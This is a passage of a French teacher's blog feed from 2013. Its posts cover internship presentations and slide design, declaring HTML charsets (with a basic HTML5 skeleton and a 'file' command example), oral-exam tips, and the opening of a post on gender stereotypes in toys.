&lt;p&gt;&lt;img alt="Baby-penguins.jpg" src="/images/Baby-penguins.jpg" title="Baby-penguins.jpg, juin 2013" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est la période, disais-je des présentations de stages. Nos étudiants de BAC3 viennent nous faire un compte-rendu de leur stage de 15 semaines qui s&amp;rsquo;est déroulé en entreprise.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est un moment à la fois sympa et fatigant.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est très sympa car, après avoir vu défiler des étudiants de première parmi lesquels peu parviennent à répondre à nos attentes, c&amp;rsquo;est motivant d&amp;rsquo;écouter les &lt;strong&gt;étudiants sortants&lt;/strong&gt; et d&amp;rsquo;entendre, de la part des maitres de stages, que nos étudiants sont appréciés au sein des diverses entreprises &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est fatiguant car nous voyons 10 à 12 présentations par jour qu&amp;rsquo;il faut; écouter, comparer, évaluer, … ce qui demande pas mal d&amp;rsquo;attention &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Nos étudiants sont préparés par un collègue à faire cette présentation qui est une première pour eux, qui se déroule devant des profs et devant des responsables en entreprise. Présentation qui clôture leur stage … et qui est donc … heu … moyennement stressante pour eux.&lt;/p&gt;
&lt;p&gt;Depuis quelques jours, je lis des articles sur «la bonne manière de préparer des &lt;em&gt;slides&lt;/em&gt; en 2013».&lt;/p&gt;
&lt;p&gt;&lt;a href="http://fr.slideshare.net/EmilandDC"&gt;Emiland&lt;/a&gt; par exemple donne des conseils pour &lt;strong&gt;mieux réussir ses présentations&lt;/strong&gt;. Si je ne suis pas d&amp;rsquo;accord avec tout ce qu&amp;rsquo;il propose, j&amp;rsquo;y pioche par contre beaucoup de bonnes idées et de bons conseils … et lorsque je regarde les présentations des étudiants, je me dis que&lt;/p&gt;
&lt;p&gt;— C&amp;rsquo;est pas gagné !&lt;/p&gt;
&lt;p&gt;Je sais que tous nos étudiants préparent au mieux leur présentation et cependant, ce que j&amp;rsquo;observe est très «début des années 2000». Je vois des présentations très (trop) &lt;em&gt;corporate&lt;/em&gt;. Les présentations sont lissées, trop semblables. Je trouve que pour ce type de présentation [&lt;a href="https://blog.namok.be/?post/2013/06/20/poc-presentation-stage-imaginaire#wiki-footnote-3"&gt;3&lt;/a&gt;], c&amp;rsquo;est important que la &lt;strong&gt;présentation soit personnelle&lt;/strong&gt; en ce sens qu&amp;rsquo;elle peut laisser transparaitre la personnalité de l&amp;rsquo;auteur.&lt;/p&gt;
&lt;p&gt;— Voici &lt;strong&gt;ma&lt;/strong&gt; présentation de stage !&lt;/p&gt;
&lt;p&gt;Je me propose donc de faire l&amp;rsquo;exercice demandé aux étudiants pour une &lt;a href="http://fr.wikipedia.org/wiki/ACME_Corporation"&gt;société imaginaire ACME&lt;/a&gt; et un projet imaginaire également [&lt;a href="https://blog.namok.be/?post/2013/06/20/poc-presentation-stage-imaginaire#wiki-footnote-4"&gt;4&lt;/a&gt;].&lt;/p&gt;
&lt;p&gt;Quelques remarques préalables :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ce type de présentation est plus difficile à présenter car tout n&amp;rsquo;est pas écrit sur les &lt;em&gt;slides&lt;/em&gt;. Ils ne sont donc pas &lt;em&gt;self-consistant&lt;/em&gt; et le discours oral doit être plus préparé;&lt;/li&gt;
&lt;li&gt;choisir des images, c&amp;rsquo;est montrer une partie de sa personnalité, c&amp;rsquo;est sortir un peu de sa zone de confort … c&amp;rsquo;est ce qui permet de se démarquer&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="iframe-container"&gt;
&lt;iframe src="//www.slideshare.net/slideshow/embed_code/key/763JN5i8VvgASo" width="595" height="485" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"&gt;&lt;/iframe&gt;
&lt;/div&gt;

&lt;p&gt;Cette présentation est loin d&amp;rsquo;être parfaite et je ne dis pas que c&amp;rsquo;est ça qu&amp;rsquo;il faut faire … &lt;strong&gt;aujourd&amp;rsquo;hui, c&amp;rsquo;est ce que je ferais&lt;/strong&gt; …&lt;/p&gt;
&lt;p&gt;Pour la forme, j&amp;rsquo;essaie d&amp;rsquo;ajouter des couleurs (un peu vives), je trouve ça plus joli et plus vivant mais ce n&amp;rsquo;est pas dans ma nature. Le choix des polices de caractères est assez difficile à faire. Par contre l&amp;rsquo;ajout d&amp;rsquo;images me convient bien. Il est a noter que choisir des images est très chronophage …&lt;/p&gt;
&lt;p&gt;Le &lt;strong&gt;dernier &lt;em&gt;slide&lt;/em&gt;&lt;/strong&gt; projeté (avant les crédits) a un statut particulier &lt;sup id="fnref:f5"&gt;&lt;a class="footnote-ref" href="#fn:f5"&gt;5&lt;/a&gt;&lt;/sup&gt;. C&amp;rsquo;est celui qui sera le plus longtemps vu puisqu&amp;rsquo;il sera affiché pendant la séance de réponse aux questions &lt;em&gt;éventuelles&lt;/em&gt; &lt;sup id="fnref:f6"&gt;&lt;a class="footnote-ref" href="#fn:f6"&gt;6&lt;/a&gt;&lt;/sup&gt;… il est donc particulier. Ce « &lt;strong&gt;slide question&lt;/strong&gt; » peut présenter une image rappelant l&amp;rsquo;exposé afin, par exemple, d&amp;rsquo;orienter l&amp;rsquo;auditoire vers un certain type de questions.&lt;/p&gt;
&lt;p&gt;Enfin lors de votre présentation de stage, dites vous qu&amp;rsquo;une grande partie de la cote est déjà attribuée &lt;sup id="fnref:f7"&gt;&lt;a class="footnote-ref" href="#fn:f7"&gt;7&lt;/a&gt;&lt;/sup&gt; et que le jury est là car il veut savoir ce que vous avez fait, comment vous l&amp;rsquo;avez fait… il veut surtout rester éveillé ;-)&lt;/p&gt;
&lt;p&gt;Si vous êtes stressés, un avant gout des membres du jury …&lt;/p&gt;
&lt;p&gt;&lt;img alt="Academic_gathering_by_Beetle_invasion.jpg" src="/images/Academic_gathering_by_Beetle_invasion.jpg" title="Academic_gathering_by_Beetle_invasion.jpg, juin 2013"&gt;&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://fr.slideshare.net/EmilandDC"&gt;Emiland&lt;/a&gt;&lt;br&gt;
&lt;a href="http://fr.wikipedia.org/wiki/ACME_Corporation"&gt;Wikipedia, ACME&lt;/a&gt;&lt;br&gt;
&lt;a href="http://fpluquet.be/"&gt;Frédéric Pluquet&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Crédit photo, &lt;a href="http://500px.com/SteveShuey"&gt;Steve Shuey&lt;/a&gt; et &lt;a href="http://beetle-invasion.deviantart.com/"&gt;Sonia chez DeviantArt&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Annexes&lt;/h3&gt;
&lt;p&gt;La présentation de stage [&lt;a href="/pdf/esi-presentationdestages-pbt.pdf"&gt;pdf&lt;/a&gt;] (9.34MB) &lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Pas tous hein ! Mais dans l&amp;rsquo;ensemble les étudiants qui sortent sont bien cotés&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Non non, ce n&amp;rsquo;est pas moi le prof assoupi au fond ;-) Parmi les enseignants de l&amp;rsquo;école certains sont volontaires (parfois on dit «pigeons volontaires») pour assister à toutes les présentations de stages. Ceci afin de permettre une meilleure uniformité lorsqu&amp;rsquo;il s&amp;rsquo;agira de donner une évaluation chiffrée de la présentation.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;C&amp;rsquo;est important de (re)dire qu&amp;rsquo;il existe plusieurs types de présentations, en fonctions de beaucoup de paramètres.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;Basé sur un exercice demandé aux étudiants de troisième dans le cadre du cours d&amp;rsquo;ateliers logiciels&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f5"&gt;
&lt;p&gt;Merci &lt;a href="http://fpluquet.be/"&gt;Fred&lt;/a&gt; pour la remarque&amp;#160;&lt;a class="footnote-backref" href="#fnref:f5" title="Jump back to footnote 5 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f6"&gt;
&lt;p&gt;Il y a toujours des questions sinon, c&amp;rsquo;est que c&amp;rsquo;est très mauvais !&amp;#160;&lt;a class="footnote-backref" href="#fnref:f6" title="Jump back to footnote 6 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f7"&gt;
&lt;p&gt;Celle pour le travail en entreprise, celle pour le rapport … il ne reste donc que celle pour la présentation.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f7" title="Jump back to footnote 7 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Dans ton charset</title><link href="http://blog.namok.be/2013-06-05-dans-ton-charset.html" rel="alternate"/><published>2013-06-05T00:00:00+02:00</published><updated>2013-06-05T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-06-05:/2013-06-05-dans-ton-charset.html</id><summary type="html">Balise meta charset pour l'encodage des caractères et l'affaire Linkeo.</summary><content type="html">&lt;p&gt;Lorsque l&amp;rsquo;on rédige un document en html, la question du charset que l&amp;rsquo;on veut utiliser se pose parfois.&lt;/p&gt;
&lt;p&gt;&lt;img alt="stop-348368964_c2d9519644_b.jpg" src="/images/stop-348368964_c2d9519644_b.jpg" title="stop-348368964_c2d9519644_b.jpg, juin 2013" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Un document html5 a la structure suivante&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;!doctype html&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;html&lt;/span&gt; &lt;span class="na"&gt;lang&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;fr&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;head&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;meta&lt;/span&gt; &lt;span class="na"&gt;charset&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;utf-8&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;title&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;Titre de la page&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;title&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;link&lt;/span&gt; &lt;span class="na"&gt;rel&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;stylesheet&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;href&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;style.css&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt; &lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;script.js&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;head&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;

  &lt;span class="cm"&gt;&amp;lt;!-- Le reste du contenu --&amp;gt;&lt;/span&gt;

&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;html&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;En html4 la balise en question avait la forme suivante&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;meta&lt;/span&gt; &lt;span class="na"&gt;http-equiv&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Content-Type&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;content&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;text/html; charset=utf-8&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Évidemment (ce n&amp;rsquo;est sans doute &lt;a href="http://linuxfr.org/news/premiere-mise-en-demeure-pour-l-association-linuxfr"&gt;pas évident pour tout le monde&lt;/a&gt; &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;, il faut que le document soit encodé dans le charset annoncé pour que ça fonctionne bien.&lt;/p&gt;
&lt;p&gt;Lorsque j&amp;rsquo;édite un fichier texte (un fichier html est un fichier texte), l&amp;rsquo;éditeur que j&amp;rsquo;utilise choisit une manière d&amp;rsquo;encoder les caractères. Même si aujourd&amp;rsquo;hui c&amp;rsquo;est souvent l&amp;rsquo;utf-8 qui est choisi, ce n&amp;rsquo;est pas une obligation.&lt;/p&gt;
&lt;p&gt;Sous linux, la commande &lt;code&gt;file&lt;/code&gt; permet d&amp;rsquo;obtenir cette information&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;~$&lt;span class="w"&gt; &lt;/span&gt;file&lt;span class="w"&gt; &lt;/span&gt;example.html
example.html:&lt;span class="w"&gt; &lt;/span&gt;HTML&lt;span class="w"&gt; &lt;/span&gt;document,&lt;span class="w"&gt; &lt;/span&gt;ISO-8859&lt;span class="w"&gt; &lt;/span&gt;text

~$&lt;span class="w"&gt; &lt;/span&gt;file&lt;span class="w"&gt; &lt;/span&gt;example2.html
example2.html:&lt;span class="w"&gt; &lt;/span&gt;HTML&lt;span class="w"&gt; &lt;/span&gt;document,&lt;span class="w"&gt; &lt;/span&gt;UTF-8&lt;span class="w"&gt; &lt;/span&gt;Unicode&lt;span class="w"&gt; &lt;/span&gt;text
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;C&amp;rsquo;était le petit rappel pour les webmasters débutants.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.alsacreations.com/article/lire/1374-html5-structure-globale-document.html"&gt;Alsacreations &amp;ndash; Structure globale d&amp;rsquo;un document html5&lt;/a&gt;&lt;br&gt;
&lt;a href="http://www.alsacreations.com/astuce/lire/34-charset-iso-8859-1-iso-8859-15-utf-8-lequel-choisir.html"&gt;Alsacreations &amp;mdash; Quel charset choisir&lt;/a&gt;&lt;br&gt;
&lt;a href="http://openweb.eu.org/articles/jeux_caracteres/"&gt;Openweb, Introduction aux jeux de caractères&lt;/a&gt;&lt;br&gt;
&lt;a href="http://linuxfr.org/news/premiere-mise-en-demeure-pour-l-association-linuxfr"&gt;Linuxfr, mise en demeure&lt;/a&gt;&lt;br&gt;
&lt;a href="http://korben.info/linkeo.html"&gt;Korben - L&amp;rsquo;affaire Linkeo&lt;/a&gt;&lt;br&gt;
&lt;a href="http://ploum.net/post/mises-en-demeure-un-racket-legal"&gt;Ploum et son rat mort&lt;/a&gt;&lt;br&gt;
&lt;em&gt;&lt;a href="http://www.flickr.com/photos/dasqfamily/"&gt;Crédit photo, QFamily&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h4&gt;À lire aussi&lt;/h4&gt;
&lt;p&gt;&lt;a href="2009-11-30-unicode-UTF8-UTF16-UTF32-et-tutti-quanti.html"&gt;Unicode, UTF8, UTF16, UTF32… et tutti quanti&lt;/a&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Et c&amp;rsquo;est là que je fais le lien (discret) avec l&amp;rsquo;affaire &lt;strong&gt;Linkeo&lt;/strong&gt; qui aura marqué les esprits en ce début juin 2013.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>J'l'ai bien bluffé à l'oral !</title><link href="http://blog.namok.be/2013-05-28-bien-bluffe-a-l-oral.html" rel="alternate"/><published>2013-05-28T00:00:00+02:00</published><updated>2013-05-28T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-05-28:/2013-05-28-bien-bluffe-a-l-oral.html</id><summary type="html">Quelques astuces pour se préparer à l'oral : s'entraîner à parler à voix haute, anticiper les questions de l'examinateur, se préparer mentalement à la réussite, adopter une attitude positive et soigner sa présentation.</summary><content type="html">&lt;p&gt;Pour un prof, l&amp;rsquo;examen oral est le moment où l&amp;rsquo;on essaie de savoir si l&amp;rsquo;étudiant a acquis suffisamment de compétences pour « accéder au niveau supérieur ».&lt;/p&gt;
&lt;p&gt;Pour un étudiant, tout les moyens sont bons y parvenir.&lt;/p&gt;
&lt;p&gt;&lt;img alt="The_Exam_Hall_by_OhToast.jpg" src="/images/The_Exam_Hall_by_OhToast.jpg" title="The_Exam_Hall_by_OhToast.jpg, mai 2013" width="100%"&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;« Précaution d&amp;rsquo;usage: au mieux on connait la matière au plus les chances de réussites sont élevées. » &lt;/p&gt;
&lt;p&gt;La Palice&lt;br&gt;
&lt;a href="https://fr.wikipedia.org/wiki/Lapalissade"&gt;Wikipedia&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ceci étant dit, il existe quelques &lt;em&gt;tips and tricks&lt;/em&gt; lorsque l&amp;rsquo;on présente un examen oral (non, je ne parlerai pas d&amp;rsquo;habillement).&lt;/p&gt;
&lt;h4&gt;On ne se prépare pas de la même manière pour un examen oral que pour un examen écrit ou tout autre examen.&lt;/h4&gt;
&lt;p&gt;Pour un examen écrit, après avoir mis mon cours en ordre, compulsé les différents liens / ressources fournis , et fait mon résumé, je m&amp;rsquo;exerce à restituer la matière par écrit &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://apprendreaapprendre.com/reussite_scolaire/article.php?cat_num_sel=&amp;amp;numtxt=453"&gt;Apprendre à apprendre, comment bien se préparer à l&amp;rsquo;examen.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Pour un examen oral, je dois prévoir que l&amp;rsquo;examen… est oral. La manière d&amp;rsquo;exposer oralement la matière participera à la cote de l&amp;rsquo;examen. Il ne suffira pas de connaitre la matière, il faudra également pouvoir la partager; expliquer / exprimer les concepts correctement et faire voir que je les ai compris. Pour m&amp;rsquo;y préparer, je parle tout haut dans la pièce où j&amp;rsquo;étudie (s&amp;rsquo;il faut, je me lève) ! &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;h4&gt;L&amp;rsquo;examinateur pose toujours des questions. Toujours&lt;/h4&gt;
&lt;p&gt;À ma connaissance, il est très rare que l&amp;rsquo;examinateur ne pose pas de questions supplémentaires et se contente d&amp;rsquo;écouter l&amp;rsquo;étudiant. C&amp;rsquo;est donc mieux de ne pas bruler toutes ses cartouches tout de suite et de laisser des espaces connus mais non présentés dans lesquels l&amp;rsquo;examinateur pourra s&amp;rsquo;engouffrer.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;idée est d&amp;rsquo;essayer de faire poser par l&amp;rsquo;examinateur la question que l&amp;rsquo;on attend. Si si, c&amp;rsquo;est possible. Je peux lorsque je présente un concept, ne pas définir ou expliquer certains termes. L&amp;rsquo;examinateur ne manquera pas de pointer le doigt dessus (sinon, c&amp;rsquo;est pas grave).&lt;/p&gt;
&lt;p&gt;Il ne faut cependant pas être trop flou au début car il y quand même le risque du: « Bien ! Nous allons éviter de perdre notre temps tous les deux et en rester là. ».&lt;/p&gt;
&lt;h4&gt;Se préparer mentalement, un peu de pensée positive&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Se visualiser&lt;/strong&gt; réussir un examen, répondre convenablement, etc. favorise la réussite car cette visualisation prépare l&amp;rsquo;inconscient.&lt;/p&gt;
&lt;p&gt;Non, ce n&amp;rsquo;est pas une phrase toute faite ! Je ferme les yeux, je me vois entrer dans le local, je m&amp;rsquo;imagine tirer une question. Je me visualise en train de remplir le tableau avec la même structure que ce que j&amp;rsquo;ai préparé. Je m&amp;rsquo;imagine quelles sont les questions que l&amp;rsquo;on peut me poser et je me vois y répondre correctement. Mon inconscient se prépare à la réussite &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;h4&gt;Être plutôt winner que loser&lt;/h4&gt;
&lt;p&gt;Une attitude positive &lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;4&lt;/a&gt;&lt;/sup&gt; influence l&amp;rsquo;examinateur… et « l&amp;rsquo;examiné ».&lt;/p&gt;
&lt;p&gt;Être dans des vêtements dans lesquels on se sent à l&amp;rsquo;aise, être reposé et ponctuel, soigner sa présentation (orale, écrite au tableau, la structure générale…), parler à haute et intelligible voix, dire bonjour / au revoir, regarder sans fixer, être au courant de l&amp;rsquo;endroit où se passe l&amp;rsquo;examen, des modalités de l&amp;rsquo;examen… sont des éléments qui donneront un &lt;em&gt;à priori&lt;/em&gt; positif à l&amp;rsquo;examinateur et qui vous feront vous sentir dans le camp des &lt;em&gt;winners&lt;/em&gt;.&lt;/p&gt;
&lt;h4&gt;Penser à l&amp;rsquo;examinateur…&lt;/h4&gt;
&lt;p&gt;C&amp;rsquo;est tout aussi valable pour un écrit que pour un oral. L&amp;rsquo;examinateur étant un humain comme l&amp;rsquo;étudiant, il faut lui &lt;strong&gt;donner l&amp;rsquo;envie&lt;/strong&gt; d&amp;rsquo;évaluer, l&amp;rsquo;envie d&amp;rsquo;écouter; écrire lisiblement, être poli et avenant, parler correctement en français, être vif et intéressant, être modeste et sûr de soi…&lt;/p&gt;
&lt;p&gt;Pas facile ! Pour terminer, je redis qu&amp;rsquo;au mieux on connait la matière, au plus il est probable de réussir. Et lorsque l&amp;rsquo;on entend ses camarades dire qu&amp;rsquo;ils ont eu de la chance, c&amp;rsquo;est souvent car ils connaissent mieux la matière. &lt;/p&gt;
&lt;p&gt;Il n&amp;rsquo;y a pas de magie.&lt;br&gt;
Bonne m…de 💩&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://fr.wikipedia.org/wiki/Lapalissade"&gt;Wikipedia, La Palice&lt;/a&gt;&lt;br&gt;
&lt;a href="http://apprendreaapprendre.com/reussite_scolaire/article.php?cat_num_sel=&amp;amp;numtxt=453"&gt;Apprendre à apprendre&lt;/a&gt;&lt;br&gt;
&lt;a href="http://www.coupdepouce.com/vie-de-famille/ado/dix-conseils-pour-passer-un-examen-sans-paniquer/a/44981"&gt;Coup de pouce, dix conseils pour passer un examen&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Crédit photo &lt;a href="http://ohtoast.deviantart.com/art/The-Exam-Hall-55952989"&gt;DeviantArt ohtoast&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;C&amp;rsquo;est ma manière, je sais qu&amp;rsquo;il en existe d&amp;rsquo;autres.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Non non, ce n&amp;rsquo;est pas ridicule ! Ce n&amp;rsquo;est pas idiot non plus de présenter une question devant le miroir de la salle de bain.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;J&amp;rsquo;utilise souvent cette technique et ça me convient. Je pense que l&amp;rsquo;inconscient se prépare vraiment et que l&amp;rsquo;on est mieux prêt à présenter son examen, à passer son permis, à faire cette présentation devant les collègues, à mener à bien cette discussion difficile, etc. Par contre taper ces mots clés (&lt;em&gt;pensée positive&lt;/em&gt;) dans un moteur de recherche va vous donner une multitude de liens… et pas mal de trucs à jeter.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;Attention de ne pas confondre avec une attitude prétentieuse voire arrogante&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>T'es une fille, tu auras un vélo rose</title><link href="http://blog.namok.be/2013-05-11-t-es-une-fille-tu-auras-un-velo-rose.html" rel="alternate"/><published>2013-05-11T00:00:00+02:00</published><updated>2013-05-11T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-05-11:/2013-05-11-t-es-une-fille-tu-auras-un-velo-rose.html</id><summary type="html">Le sexisme persiste dans la publicité et les jouets et ça freine l'orientation des filles vers les filières scientifiques. Il y a un contraste entre l'évolution vers l'égalité et le retour des stéréotypes de genre.</summary><content type="html">&lt;p&gt;&lt;strong&gt;Hier&lt;/strong&gt; l&amp;rsquo;inégalité homme - femme était flagrante. Les hommes étaient soit à la guerre, soit à la mine, soit à l&amp;rsquo;usine tandis que les femmes étaient à la maison. Les enfants avaient un tricycle rouge.&lt;/p&gt;
&lt;p&gt;&lt;img alt="tricycle_and_nostalgia_by_hhjr-d36n3es.jpg" src="/images/tricycle_and_nostalgia_by_hhjr-d36n3es.jpg" title="tricycle_and_nostalgia_by_hhjr-d36n3es.jpg, mai 2013" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est peut-être (un peu) caricatural cependant sans remonter très loin, on en était pas loin. Certaines tâches étaient évidemment masculines et d&amp;rsquo;autres féminines. Les tricycles étaient rouges.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Aujourd&amp;rsquo;hui&lt;/strong&gt; les femmes travaillent et ramènent autant d&amp;rsquo;argent au ménage que leur mari. Elles peuvent avoir les mêmes loisirs et accéder aux mêmes emplois. Elles peuvent même &lt;a href="https://web.archive.org/web/20130319120646/http://cafaitgenre.org/2013/03/16/sexisme-chez-les-geeks-pourquoi-notre-communaute-est-malade-et-comment-y-remedier/"&gt;jouer aux mêmes jeux vidéos&lt;/a&gt; &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;. Les tricycles ont disparus, les vélos et autres draisiennes sont soit rose-princesse soit rouge-spiderman.&lt;/p&gt;
